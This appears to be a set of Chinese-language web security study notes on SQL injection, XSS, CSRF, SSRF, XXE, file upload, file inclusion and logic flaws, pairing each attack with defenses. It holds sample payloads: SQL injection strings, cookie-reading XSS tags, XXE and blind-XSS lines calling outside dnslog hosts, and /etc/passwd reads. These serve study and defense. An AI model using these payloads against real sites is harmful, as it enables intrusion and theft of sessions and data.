SQL 注入

SQL 注入原理

没有对用户的输入做严格的过滤和限制，直接把用户的输入拼接到了 SQL 语句中，并带入数据库执行

SQL 注入原因

采用字符串拼接的方式构造 SQL 语句
没有对用户输入的参数进行过滤

数据库种类

关系型数据库（SQL）：Access　Mysql　Mssql　Oracle　Postsql　SQLite
非关系型数据库（NO SQL）：Mongodb. redis

常见数据库对应的端口

mysql（3306）、sql server（1433）、oracle（1521）、DB2（5000）、postgreSQL（5432）
NOSQL 数据库：　MongoDB（27017）、Redis（6379）

Mysql 注入点，用工具对目标站直接写入一句话，需要哪些条件？

root 权限以及网站的绝对路径

SQL 注入的流程

判断是否存在注入，并判断是字符型还是数字型
判断字段长度，回显位置
获取数据库信息
破解加密数据
提升权限/内网渗透

常见的网站服务器容器

IIS、Apache、nginx、Lighttpd、Tomcat

如何手工快速判断目标站是 windows 还是 linux 服务器？

linux 大小写敏感,windows 大小写不敏感
ping 命令：一般情况下 linux　TTL<100.　Windows. TTL.>100

mysql 的网站注入，5.0 以上和 5.0 以下有什么区别

5.0 以下没有 information_schema 这个系统表，无法列表名等，只能暴力跑表名
5.0 以下是多用户单操作，5.0 以上是多用户多操做。

SQL 注入的种类

数据类型 分类：
字符型：http://127.0.0.1/sqli/Less-1/?id=1' #也可以?id=1' and'1'='1 来闭合
数字型：http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 --+
搜索型：先搜索 单引号,如果出错说明 90%存在漏洞;再搜索%，如果正常返回 说明 95%有漏洞
1%' and 1=1 and '%' ='　　1%' and 1=2 and '%' ='
提交方式 分类：
GET：提交方式是 GET , 注入点的位置在 GET 参数部分
POST：　POST 方式提交数据，注入点位置在 POST 数据部分，常发生在表单中

Cookie：HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中
HTTP 头：注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中
注入方法 分类：
布尔盲注：页面没有显示位，没有输出 SQL 语句执行错误信息，只能通过页面返回正常不正常来判断是否存在注入，判断 and 两边的条件是否成立；利用页面返回不同 逐个猜解数据
1' and length(database())=x # 判断数据库长度
1' and ascii(substr(database(),1,1))=100 # 判断数据库第一位
1' and (select count(table_name)from information_schema.tables where table_schema='dvwa')=2 # 表数量

时间盲注：利用 if，sleep，benchmark，笛卡尔积 看页面返回时间是否增加来判断
1' and sleep(5) # 判断为字符型
1' and if(length(database())=4,sleep(5),1)# 判断数据库长度
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) # 判断数据库第一个字母
报错注入：页面会返回错误信息，且没有显示位，把注入语句的结果直接返回在页面中
常用：Extractvalue，updatexml，Floor, exp
其他：name_const, join, GeometryCollection, polygon, multipoint, multlinestring, multipolygon, linestring
concat：将多个字符串连接成一个字符串
count：查询数量
联合查询注入：union/union all；查询的【列数】和【数据类型】必须相同；页面必须有显示位
Union：不包括重复的值；Union all：允许重复的值
Goup_concat：把同一列的多行连接到一起，比如：1adminadmin,2gordonbGordon,
堆叠注入：就是一堆 sql 语句(多条)一起执行，在 ；结束一个 sql 语句后继续构造下一条语句
只有当调用的数据库函数支持执行多条 sql 语句时才能够使用
PHP 页面调用 sql 语句时用的是 mysqli_multi_query()函数，才可以使用堆叠注入
Mysql 和 Mssql 才可以用，Oracle 直接报错

编码问题（宽字节 二次编码注入）

都是在面对 PHP 代码或配置，对输入（单引号）进行转义的时候，在处理用户输入数据时存在问题，可以绕过转义
宽字节注入（GBK 编码处理编码的过程存在问题，可构造数据消除反斜杠\）
数据库使用了 GBK 编码，并且使用 Addslashes 函数在预定义字符 '"\ null 前面添加反斜杠\ ,导致引号闭合失败。由于\的 16 进制是%5C，所以在前面加上%df 就变成%df%5C，变成一个繁体字，可以成功闭合引号
GBK 编码下使用宽字节注入：%df' and 1=1 -- + 回显正常 %df' and 1=2 -- + 回显错误
说明存在 sql 注入，而且是宽字节注入
以下为 URL 编码：
%27---------单引号 %20----------空格
%23----------#号 %5c----------\反斜杠
addslashes()：返回在预定义字符之前添加反斜杠的字符串
宽字节注入防御
①使用 mysql_ set_ charset(GBK)指定字符集 ②使用 mysql_real _escape_string 进行转义
二次注入
①插入恶意数据
在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 对其中的特殊字符进行了转义，但是 addslashes 有一个特点就是虽然参数在过滤后会添加“\”进行转义，但是“\”并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。
②引用恶意数据
在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成 SQL 的二次注入。
比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，就形成了二次注入。
二次编码注入（urldecode()与 PHP 本身处理编码时，两者配合失误，可构造数据消除\）

用户输入【1%2527】=>php 自身编码，%25 转换成%【1%27】=>php 未检查到单引号，不转义【1%27】=>遇到一个函数编码，使代码进行编码转换【1'】=>带入 sql 语句=>能注入
方法：在注入点后键入%2527，然后按正常的注入流程开始注入
Sql 注入写 shell：
1. Into outfile
2. Sqlmap --os-shell

mysql 内置的 information_schema 数据库中有三个表非常重要
1 schemata:表里包含所有数据库的名字
2 tables：表里包含所有数据库的所有的表，默认字段为 table_name
3 columns:三个列非常重要
TABLE_SCHEMA：数据库名 / TABLE_NAME:表名 / COLUMN_NAME:字段名

如何判断是否存在 SQL 注入

and 1=1/and 1=2 回显页面不同
单引号或双引号判断
and sleep() 判断页面返回时间

SQL 注入如何防御？预编译的原理是什么呢？

代码层面
1.对输入进行严格的过滤和转义（正则表达式过滤）
2.使用预编译和参数化查询
预编译就是提前进行 sql 的编译，在 sql 语句执行之前就确定 sql 的语义，保证用户输入的内容只当作变量执行，而不是 sql 语句执行。
数据库以参数化的形式进行查询，即使传递来的敏感字符也不会被执行，而是被当作参数处理；
是通过 PreparedStatement 和占位符来实现的，也就是说其后注入进来的参数系统将不会认为它会是一条 SQL 语句，而默认其是一个参数，参数中的 or 或者 and 等就不是 SQL 语法保留字了
网络层面
利用 WAF 防御；使用安全的 API

SQL 注入如何判断数据库类型？

1. 注释符判断
/ * 是 MySQL 的注释符，返回错误说明该注入点不是 MySQL
-- 是 Oracle 和 SQL Server 的注释符，如果返回正常，说明为这两种数据库类型之一
; 是子句查询标识符，Oracle 不支持多行查询，若返回错误，则说明很可能是 Oracle 数据库
是 My SQL 中的注释符，返回错误则说明可能不是 My SQL，另外也支持—和/**/
2. 函数判断，如 len()和 length()，version()和@@version 等
len()：mssql 和 mysql 以及 db2 返回长度的函数
length()：Oracle 和 INFORMIX 返回长度的函数
version()：MySQL 查询版本信息的函数
@@version()：MySQL 和 SQL Server 查询版本信息的函数
3. 报错信息判断
4. 默认端口判断

判断数据库类型语句

Oracle 数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
Mysql 数据库（版本 5.0 以上）
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
mssql 数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

SQL 注入如何绕过？

大小写绕过(UNiOn)，双写绕过(ununionion)，编码绕过（base64、url 全编码），内联注释绕过（/*! Union */）

【逗号绕过：join，from ；　空格绕过：/**/，%a0=空格，括号（），+加号；　引号绕过：16 进制 】
【比较符><绕过：greatest（返回最大值），least（返回最小值）；　逻辑符号替换 and=&& or=||,】

分块传输：通过在头部加入 Transfer-Encoding: chunked 之后，就代表这个报文采用了分块编码。每个分块包含十六进制的长度值和数据，长度值独占一行，长度不包括它结尾的，也不包括分块数据结尾的，且最后需要用 0 独占一行表示结束

参数污染 / 超大包传输:

XSS(跨站脚本攻击)部分

XSS 的原理是什么？

攻击者在 WEB 页面中插入恶意 js 代码，使用户在访问时触发，使其信息泄露

XSS 危害？

主要是盗取管理员的会话和 cookie 信息，钓鱼
D-doss 攻击，网页挂马；传播跨站脚本蠕虫等

XSS 的三种类别有什么不同？

反射型：发出请求时，XSS 代码出现在 url 中，作为输入提交到服务器，服务器解析后响应，XSS 代码随响应内容一起传回给浏览器，最后浏览器解析执行 XSS 代码。这个过程像一次反射，所以叫反射型 XSS
这种攻击方式往往具有一次性，只在用户单击时触发，需要诱骗用户点击。
数据流向是：浏览器 -> 后端 -> 浏览器
常见注入点：网站的搜索栏、用户登录入口、输入表单等地方，常用来窃取客户端 cookies 或钓鱼欺骗。
存储型：攻击者已经通过 XSS 将恶意脚本放入服务器端(数据库，内存，文件系统等)只要每次浏览这个网页就会触发恶意脚本。**浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器**
常见注入点：论坛、博客、留言板、网站的留言、评论、日志等交互处。
DOM 型：基于 **DOM 文档对象模型**的一种 XSS 漏洞，是从客户端获得 DOM 中的数据（如从 URL 中提取数据）并在本地执行；DOM 型 XSS 其实是一种特殊类型的反射型 XSS，是基于 js 上的，不需要与服务器进行交互；纯前端的 XSS 漏洞，直接通过浏览器进行解析，就完成攻击。
URL-->浏览器。javascript:alert("You are attacked !!")

反射型 存储型 DOM 型 的区别

存储型 XSS 的恶意代码存在数据库里，反射型 XSS 的恶意代码存在 URL 里
DOM 型 取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞

常用语句：

<script>alert(/xss/)</script> 弹窗
<script>confirm(/xss/)</script> 弹窗
<script>prompt(/xss/)</script> 弹窗
<script>alert(document.cookie)</script> 获取 CK

<img src = 1 onerror = alert(document.cookie)> 事件驱动获取 CK
<a href=javascript:alert(111)>
<body onload=alert('XSS')>
事件绕过

XSS 盲打

将 xss 的攻击代码拼接到 dnslog 网址的高级域名上，就可以在用户访问的时候，将他的信息带回来；通过盲打，让触发者浏览器访问预设至的链接地址，如果盲打成功，会在平台上收到如下的链接访问记录
先申请一个域名，向有 XSS 的地方注入下面语句

```
<img src=http://xss. j71zkv.dnslog.cn>
```

对插入的地址进行请求，然后回看 DNSlog 平台，发现被解析

XSS 如何防御？（总体思路就是 对输入进行过滤，对输出进行编码）

对输入进行过滤（用户输入，URL 参数，POST 请求参数）：一般过滤掉双引号，单引号，尖括号，&符号
对输出进行 HTML 实体编码：双引号（"）"，左尖括号（<）<，右尖括号（>）：&gt
使脚本无法在浏览器中执行。php 中的 htmlspecialchars 函数
添加 HttpOnly：在 cookie 里面设置 HttpOnly 属性，那么 js 脚本将无法访问到 cookie，但是这个方法也只能是防御 cookie 劫持
CSP 内容安全策略：本质上是建立白名单，规定了浏览器只能够执行特定来源的代码；即使发生了 xss 攻击，也不会加载来源不明的第三方脚本
CSP 的分类：
1.Content-Security-Policy：配置好并启用后，不符合 CSP 的外部资源就会被阻止加载。
2.Content-Security-Policy-Report-Only：表示不执行限制选项，只是记录违反限制的行为。它必须与 report-uri 选项配合使用
csp 使用：
1.在 HTTP Header 上使用（首选）2.在 HTML 上使用

Httponly 绕过

可以直接拿账号密码，cookie 登录.
浏览器未保存读取密码:需要 xss 产生于登录地址，利用表单劫持
浏览器保存账号：产生在后台的 XSS，例如存储型 XSS
(1) CVE-2012-0053
Apache 服务器 2.0-2.2 版本存在个漏洞 CE-2012-0053:攻击者可通过向网站植人超大的 Cookie,令其 HTTP 头超过 Apache 的 LititRequestFieldSize (最大请求长度，4192 字节)，使得 Apache 返回 400 错误，状态页中包含了 HttpOnly 保护的 Cookie。源代码可参见: https:/ww.explwi db.com/exploits/18442/。
除了 Apache，-些其他的 Web 服务器在使用者不了解其特性的情况下，也很容易出现 HttpOnly 保护的 Cookie 被爆出的情况，例如 Squid 等

(2) PHPINFO 页面/
无论是否设置了 HttpOnly 属性，phpinfoO) 函数都会输出当前请求上下文的 Cookie 信息。如果目标网站存在 PHPINFO 页面，就可以通过 XMLHttpRequest 请求该页面获取 Cookie 信息。

(3) Flash/Java
安全团队 seckb 在 2012 年提出，通过 Flash、Java 的一些 API 可以获取到 HttpOnly Cookie，
这种情况可以归结为客户端的信息泄露，链接地址为: http://ckb.yehg.net/2012/0/xss-gaining-gaCss-t-ttponly-cookie.html。

Xss 设置了 httponly 如何利用

CSRF(跨站请求伪造)

CSRF 的原理

利用网站对于用户网页浏览器的信任，挟持用户当前已登陆的 Web 应用程序，去执行并非用户本意的操作
攻击者 盗用 用户未失效的身份认证信息（cookie、会话等），发送恶意请求
通常是伪造一个链接，然后欺骗目标用户点击，用户一旦点击，攻击也就完成了

CSRF 的防御方法有哪些？referer 验证和 token 哪个安全级别高呢？

1. 验证 http Referer 字段：同源检测，Referer 指的是页面请求来源。意思是，只接受本站的请求，服务器才做响应；如果不是，就拦截。Referer 的值是由浏览器提供的
2. 在请求地址中添加 Token 并验证：在 HTTP 请求中以参数的形式加入一个随机产生的 token；如果请求中没有 token 或者 token 内容不正确，则认为 CSRF 攻击而拒绝该请求
3. 在 http 头中自定义属性并验证：

token 安全等级更高。因为并不是任何服务器都可以取得 referer，如果从 HTTPS 跳到 HTTP，也不会发送 referer。并且 Referer 的值是可以通过抓包修改的，但是 token 的话，能保证其足够随机且不可泄露。(不可预测性原则)

一般防护 csrf 的办法最常见的就是增加原始密码验证，短信验证、验证码验证，这样基本就很难进行 scrf 攻击了。

CSRF 如何判断

1 GET 类型的 CSRF 的检测
如果有 token 等验证参数，先去掉参数尝试能否正常请求。如果可以，即存在 CSRF 漏洞
2 POST 类型的 CSRF 的检测

如果有 token 等验证参数，先去掉参数尝试能否正常请求。如果可以，再去掉 referer 参数的内容，如果仍然可以，说明存在 CSRF 漏洞，如果直接去掉 referer 参数请求失败，这种还可以继续验证对 referer 的判断是否严格，是否可以绕过。

3 特殊情况的 POST 类型的 CSRF 检测

如果上述 post 方式对 referer 验证的特别严格，有的时候由于程序员对请求类型判断不是很严格，可以导致 post 请求改写为 get 请求，从而 CSRF。直接以 get 请求的方式进行访问，如果请求成功，即可以此种方式绕过对 referer 的检测，从而 CSRF。

CSRF 与 XSS 区别

- CSRF 是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而 XSS 是直接盗取到了用户的权限，实施破坏
- CSRF 需要用户先登录网站 A,获取 cookie；XSS 不需要登录。

SSRF(服务端 请求伪造)部分

由于**服务端提供了从其他服务器应用获取数据的功能**，但又没有对目标地址做过滤与限制，导致攻击者可以传入任意的地址 让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

比如从指定 URL 地址获取网页文本内容，加载指定地址的图片，下载等等

危害

- 内外网的端口和服务扫描
- 攻击运行在内网或本地的应用程序
- 对内网 web 应用进行指纹识别，识别企业内部的资产信息
- 攻击内网的 web 应用主要是使用 GET 参数就可以实现的攻击（比如 Struts2 漏洞利用，SQL 注入等）
- 利用 file 协议读取本地敏感数据文件等

利用

File 协议：从文件系统中获取文件内容，如 file:///etc/passwd

dict 协议：字典服务器协议，用来获取目标服务器上运行的服务版本等信息

gopher 协议：分布式的文档传递服务，使用 SSRF 结合 gopher 协议可以发送 http 、mysql 等请求

ftp、ftps：FTP 匿名访问、爆破

危险函数

- file_get_contents()　对本地和远程的文件进行读取
- fsockopen()
- curl_exec()

绕过姿势

302 跳转：可以使用重定向的方式绕过 SSRF

短链接：制作一个短链接指向内网 IP，如 http://dwz.cn/11SMa　　-->　　http://127.0.0.1

利用@：　如访问 http://example.com@127.0.0.1

添加端口号：http://127.0.0.1:8080

IP 地址的进制转换：8 进制，16 进制，10 进制

dns 解析：如果目标对域名或者 IP 进行了限制，那么可以使用 dns 服务器将自己的域名解析到内网 ip

如何判断 SSRF

- 回显判断：有返回请求结果 并会显示出来，这种比较好判断
- 延时对比：对比访问不同 IP/域名的访问时长，比如对百度与 Google（国内访问受限）的访问时间，访问百度的时间通常比 Google 快，若是则可能存在漏洞

- DNSlog 请求检测：利用 DNSLog 服务生成一个域名用于伪造请求，看漏洞服务器是否发起 DNS 解析请求，若成功访问在 http://DNSLog.cn 上就会有解析日志
  http://172.16.29.2/ssrf_test.php?url=http://02c6ot.dnslog.cn
- 访问日志检查：伪造请求到自己控制的公网服务器，然后在服务器上查看访问日志是否有来自漏洞服务器的请求，或者直接使用命令“nc -lvp”来监听请求。

漏洞位置

- 能够对外发起网络请求的地方
- 分享：通过 URL 地址分享网页内容
- 在线处理工具
- 转码服务
- 在线翻译
- 图片加载与下载：通过 URL 地址加载或下载图片
- 图片、文章收藏功能
- 未公开的 api 实现以及其他调用 URL 的功能
- 在线识图，在线文档翻译，分享，订阅等，这些有的都会发起网络请求。
- 根据远程 URL 上传，静态资源图片等，这些会请求远程服务器的资源。
- 数据库的比如 mongodb 的 copyDatabase 函数，这点看猪猪侠讲的吧，没实践过。
- 邮件系统就是接收邮件服务器地址这些地方。
- 文件就找 ImageMagick，xml 这些。
- 从 URL 关键字中寻找，比如：source,share,link,src,imageurl,target 等。

防御

- 过滤返回的信息，把返回结果展示给用户之前先验证返回的信息是否符合标准
- 统一错误信息，避免用户可以根据错误信息来判断远程服务器的端口状态
- 限制请求的端口，比如 80,443,8080,8090
- 禁止不常用的协议 仅仅允许 http 和 https 请求。可以防止类似于 file:///,gopher://,ftp://等引起的问题
- 使用 DNS 缓存或者 Host 白名单的方式。

XML 注入（XXE）**XML 是一种用来传输和存储数据的可扩展标记语言**

原理

XML 外部实体注入，由于在服务端开启了 DTD 外部引用 且 没有对 DTD 对象进行过滤的情况下，导致可以利用 DTD 引用系统关键文件，漏洞触发的点往往是可以上传 xml 文件的位置

危害

1：读取任意文件　2：执行系统命令　3：探测内网端口　4：攻击内网网站

如何判断

有回显：抓包随意修改 XML 标签，看是否输出，有的话则存在 XXE

无回显：换成自己申请的域名，然后提交，查看是否产生日志，有的话说明有 XXE

```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://k720ih.ceye.io/test.txt">
]>
<r>&sp;</r>
```

防御

- 禁止外部实体加载：libxml_disable_entity_loader(true);将 false 不禁止外部实体加载，改为 true 禁止外部实体加载
- 过滤关键词：<!DOCTYPE 和<!ENTITY，或者 SYSTEM 和 PUBLIC

文件上传部分

文件上传漏洞原理

文件上传功能没有对上传的文件做合理严谨的过滤，导致用户可以利用此功能，上传能被服务端解析执行的文件，并通过此文件获得执行服务端命令的能力。

文件上传危害

上传 webshell,控制服务器、远程命令执行

上传系统病毒、木马文件进行挖矿、僵尸网络

进行提权操作

修改 web 页面，实现钓鱼、挂马等操作。

进行内网渗透。

文件上传 利用条件？

1. 网站上传功能能正常使用
2. 文件类型允许上传
3. 传路径可以确定
4. 文件可以被访问或者被包含

文件上传如何防护？

1.文件上传目录设置为不可执行：只要 web 容器无法解析该目录下面的文件，即使攻击者上传了脚本文件，服务器本身也不会受到影响，因此这一点至关重要。

2.判断文件类型：结合使用 MIME Type、后缀检查等方式（白名单）

3.图片二次渲染：使用压缩函数或者 resize 函数，在处理图片的同时破坏图片中可能包含的 HTML 代码。

文件上传常见的绕过方法

1. 客户端绕过（前端验证，还未发送数据包）

- 浏览器禁用 JS 脚本
- 利用 burp 抓包修改后缀名，先将文件重命名为 js 允许的后缀名 burp 发送数据包时候改成我们想要的后缀
- 按 F12 直接删除代码中 onsubmit 事件中关于文件上传时验证上传文件的相关代码

2. 服务端绕过

白名单：

- MIME 绕过：修改为 image/jpeg；image/png；image/gif 等允许上传的 MIME 值；
- %00 截断：a.asp%00.jpg 就会变成 a.asp，后面的.jpg 就会被%00 截断了。
  有些时候数据包中必须含有**上传文件后的目录**情况才可以用

黑名单：

- 特殊文件名绕过：Phtml,php3,php5
- 配合解析漏洞绕过
- 后缀大小写绕过
- 双写绕过：pphphp
- 上传.htaccess 绕过：先上传一个.htaccess 文件，然后上传一句话木马
  （.htaccess 就是该目录的所有文件可以 php 文件执行）
- 空格绕过：后缀名加空格
- 点绕过：后缀名中增加.号
- ::$DATA 绕过：在 **php+windows** 的情况下，文件名+“::$DATA”会把::$DATA 之后的数据当成文件流处理，不会检测后缀名. 且保持"::$DATA"之前的文件。可在后缀名中加“::$DATA”绕过

检查内容：

- **二次渲染**：根据用户上传的图片 网站会对图片进行二次处理（格式、尺寸要求等），服务器会把里面的内容进行替换更新，根据原有的图片新生成一个图片，将原始图片删除，将新图片添加到数据库中
  对于不同的图片，修改的位置还不一样
  如何判断二次渲染：对比要上传图片与上传后的图片大小，编辑器打开图片查看上传后保留了拿些数据
  绕过：通过对比上传前和上传后的两个文件，看图片的 16 进制编码，在没有改变的地方插入 php 一句话
- **图片码绕过**：判断文件头信息，把一句话木马插入到图片中然后上传
  getimagesize()，exif_imagetype()

其他：

- 条件竞争：先将文件上传到服务器，然后判断文件后缀是否在白名单里，如果在则重命名，否则删除，因此可以上传 1.php 只需要在它删除之前访问即可，可以利用 burp 的 intruder 模块不断上传，然后我们不断的访问刷新该地址即可；目的就是在文件还存在时执行一段 php 代码

文件包含部分

原理

服务器解析执行 php 文件时能够通过包含函数加载另外一个文件中的 php 代码，当被包含的文件中存在木马时，也就意味着木马程序会在服务器上加载执行。

分类

- 本地文件包含：就是在网站服务器本身存在恶意文件，然后利用本地文件包含使用
- 远程文件包含：远程文件包含就是调用其他网站的恶意文件进行打开

文件包含的函数有哪些？include 和 require 的区别

include( )：找不到被包含的文件，只会报错，但会继续运行脚本
include_once( )：功能与 Include()相同，区别在于当重复调用同一文件时，程序只调用一次
require( )：找不到被包含的文件，报错，并且停止运行脚本
require_once( )：功能与 require()相同，区别在于当重复调用同一文件时，程序只调用一次
区别
inlude :包含的文件不存在，程序会继续执行
require:包含文件不存在，程序停止执行

文件包含怎么利用

1. 包含系统敏感文件：如/etc/passwd（用户信息）；/etc/shadow（密码文件）
2. 配合文件上传图片码 getshell
3. 包含 Apache 日志文件：access.log
4. 利用 php 伪协议进行攻击：php://input (将 post 请求的数据当作 php 代码执行，达到命令执行)； php://filter（可以获取指定文件源码）

php 伪协议：

file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径

防御

- 设置白名单：限制被包含的文件只能在某一个文件夹内
- 关闭危险配置：PHP 配置中 php.ini 关闭远程文件包含功能
- (allow_url_include = Off allow_url_fopen= Off)
- 路径限制：禁止目录跳转字符，参数中不允许出现../之类的目录跳转符。

需要开启的配置

php.ini 的 allow_url_fopen （打开文件）和 allow_url_include（引用文件）设置为 On，不然会影响伪协议的使用。

会话固定

会话固定也可以是会话劫持的一种类型，主要目的是获得用户的合法会话。用户在登录前和登录后的 session 的 id 不会改变，窃取用户的 cookie,用于模仿合法用户，还可以强迫受害者使用攻击者设定的一个有效会话，以此来获得用户的敏感信息。

防御

在用户登录成功后重新创建一个 session id
登录前的匿名会话强制失效
session id 与浏览器绑定：session id 与所访问浏览器有变化，立即重置
session id 与所访问的 IP 绑定：session id 与所访问 IP 有变化，立即重置

暴力破解

暴力破解又被称为穷举破解，即将密码进行逐个尝试直到找出真正的密码为止

防护手段： 锁定账户 验证码

命令注入

由于 web 应用在服务器上拼接系统命令并且没有对用户的输入做严格的过滤造成的

技巧 &&（与） ||(或)

Windows 系统支持的管道符如下：
“|”：直接执行后面的语句。

“||”：如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。
“&”：两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。
“&&”：前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

Linux 系统支持的管道符如下：

“;”：执行完前面的语句再执行后面的语句。
“|”：显示后面语句的执行结果

防御

白名单校验命令参数

代码执行

靠脚本代码调用操作系统的命令；当应用在调用一些能将字符转化为代码的函数(如 PHP 中的 eval)时，没有考虑用户是否能控制这个字符串，这就会造成代码执行漏洞

常见的代码执行函数：

eval() assert() call_user_func() create_function() array_map()

防御

使用参数白名单

在代码或配置文件中设置可输入的参数白名单，如果不在白名单列表中则提示错误。

严禁带入用户输入

用户的数入都是不可信的，通常这写函数关键字在使用时尽量不要带入用户输入。

过滤转义

字符串使用单引号包括可控代码，插入前使用 addslashes（单引号（'）、双引号（"）、反斜线（\）与 NUL（NULL 字符））转义。

命令执行

直接调用操作系统的命令

常见的命令执行函数：

system(),passthru(),exec(),pcntl_exec(),shell_exec(),popen(),proc_open(),`(反单引号),ob_start(),php mail()

防御

- **使用过滤函数**

内置函数 escapeshellcmd(), escapeshellarg() ,过滤和转义输入中的特殊字符

escapeshellcmd()：会在以下字符之前插入反斜线（\）： &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对的时候被转义。 在 Windows 平台上，所有这些字符以及 % 和 ! 字符都会被空格代替。

escapeshellarg()：将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号，这样以确保能够直接将一个字符串传入 shell 函数，并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

注意不要使用 escapeshellcmd() 过滤 escapeshellarg()过滤之后的字符串，这样会造成\'转义成\\'从而吃掉\的问题

- **使用参数白名单**

在代码或配置文件中设置可输入的参数白名单，如果不在白名单列表中则提示错误。

目录遍历

程序在实现上没有充分过滤用户输入的…/之类的目录跳转符，导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件

防御

- 对用户的输入进行验证，特别是路径替代字符“…/”

- 尽可能采用白名单的形式，验证所有输入
- 合理配置 web 服务器的目录权限
- 程序出错时，不要显示内部相关细节

逻辑漏洞

越权漏洞 （一般在增删改查，登陆，更新的地方寻找越权漏洞）

- 水平越权: 攻击者尝试访问与他相同权限的用户资源
- 垂直越权: 攻击者访问比他高级别权限的用户

修改什么地方来验证

类似 ID,user,uid 这类身份标识类传参
Get 请求修改 url 中参数。比如 username=XXX
垂直越权：先抓取高权限的数据包，比如添加用户，然后再用低权限的 cookie 发送请求包

原理

因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定，一旦权限验证不充分，就易致越权漏洞。

防御

将身份校验写入会话，跟请求的资源做验证
1．清洗 URL 地址，并提取 Api 接口名称;
2．从 session 中提取当前登录用户的 userid;
3．提取当前用户的角色 id;
4．判断当前用户对应的角色是否有权限访问当前 Api 接口（检查垂直越权）;
5．最后判断当前登录用户是否对目标对象有操作权限（检查水平越权）。

6. 类似订单号这种参数，生成时要无规律可循，可以通过 hash 算法进行加密；或者请求的数据包额外附带 token，从而防止重放和遍历订单号这类攻击（篡改订单号）。

- 发送验证码存在哪些漏洞

- **无效验证**
- **任意用户注册：**先用自己的手机号接收验证码进行验证，然后跳到一个设定密码的页面抓包篡改任意手机号
- **验证码绕过**
  - ✧ 验证码不刷新
  - ✧ 状态码绕过：将响应码修改成 200 直接绕过/error 修改成 OK 等
  - ✧ 前端校验：隐藏在网站源码或者 ck 中
  - ✧ 可被识别：自动化工具登陆爆破 PKAV 的 HTTP Fuzzer
  - ✧ 空值绕过：直接删除验证码参数或者 ck 中的值，进行暴力破解
- **短信/邮件炸弹**
- **验证码爆破：4-6 位，若服务端未对验证时间、次数进行限制，则存在被爆破的可能**
- **验证码与手机号未绑定：A 的验证码 B 可以用**
  - ✧ 任意用户注册漏洞：可以使用任意手机号进行注册，操作步骤如下

  1.在注册界面，输入自己的手机号；2.发送验证码，拿到验证码，然后退出登录界面；3.重新进入注册界面，输入任意人的手机号，输入刚才拿到的自己的验证码，注册成功
  - ✧ 任意用户密码重置漏洞

可以任意修改任何账号的密码，操作步骤如下：1.在忘记密码界面，输入自己的手机号；2.发送验证码，拿到验证码，然后退出忘记密码界面；3.输入其他人的手机号，输入自己的验证码，验证成功，修改别人的密码成功。

防御

- 短信验证码不少于 6 位
- 在服务端验校验验证码与手机号绑定
- 有效期不超过 1 分钟
- 验证码错误次数超过上限应采取账户锁定策略

- 支付逻辑漏洞，怎么改价格

1. 修改支付价格

在支付流程中，提交购买信息、确认支付、确认购买的流程中，如果相互之间没有做好验证机制，就有可能出现修改支付价格的漏洞。

在这三个步骤中，可以尝试抓包，修改支付价格。

- **2. 修改支付状态**

这个问题是没有对支付状态的值跟实际订单支付状态进行校验，导致点击支付时抓包修改决定支付或未支付的参数为支付状态的值从而达到支付成功。

- **3. 修改购买数量**

抓包，尝试修改购买数量，如果修改购买数量后，价格不变，亦或者修改购买数量为负数，如果价格为负数，同样会导致支付问题的产生。

8. 最小额支付

在修改支付价格时，如果没有支付成功或兑换成功，并不能说明该网站不存在支付漏洞。注意网站的最小支付额，网站可能会对此进行校验，小于这个最小支付额，无法购买，也有可能兑换的物品为空。

9. 值为最大值支付问题

以前也是看到过相关的例子，一些网站比如你购买商品，这里有 2 个思路修改值，1 是直接修改支付金额值为最大值，比如 999999999，或者修改附属值，如优惠卷，积分等为 999999999，如果这里逻辑设计有问题，那么其支付金额会变为 0。

修复防范

请求数据中对涉及金额、数量等敏感信息进行加密，并在服务器端对其进行校验.

支付交易请求数据中加入 token，防止重放攻击

支付宝接口返回的价格 和 订单金额 进行比对，

- 登录框都可以测哪些漏洞

- **登录页面**

明文传输，用户名可枚举，弱口令，暴力破解，sql 注入（万能密码绕过）任意密码重置，XSS，验证码，URL 重定向登录认证绕过，图形验证码不失效，短信验证码绕过，短信炸弹

- **注册页面**

批量注册，注册覆盖，短信邮件炸弹，验证码可爆破，图片验证码是否可绕过

反序列化

PHP 反序列化

序列化(serialize)：将对象转换为字符串
反序列化(unserialze)：将字符串转换为对象
魔术方法：unserialize()时__wakeup() 或__destruct()的直接调用，中间无需其他过程）

PHP 反序列化原理

由于程序没有对用户输入的反序列化字符串进行检测，导致反序列化过程可以被恶意控制，进而造成代码执行、getshell 等一系列不可控的后果，一般程序在创建的时候，都会重写析构函数和构造函数，反序列化就是利用这些重写的函数

JAVA 反序列化

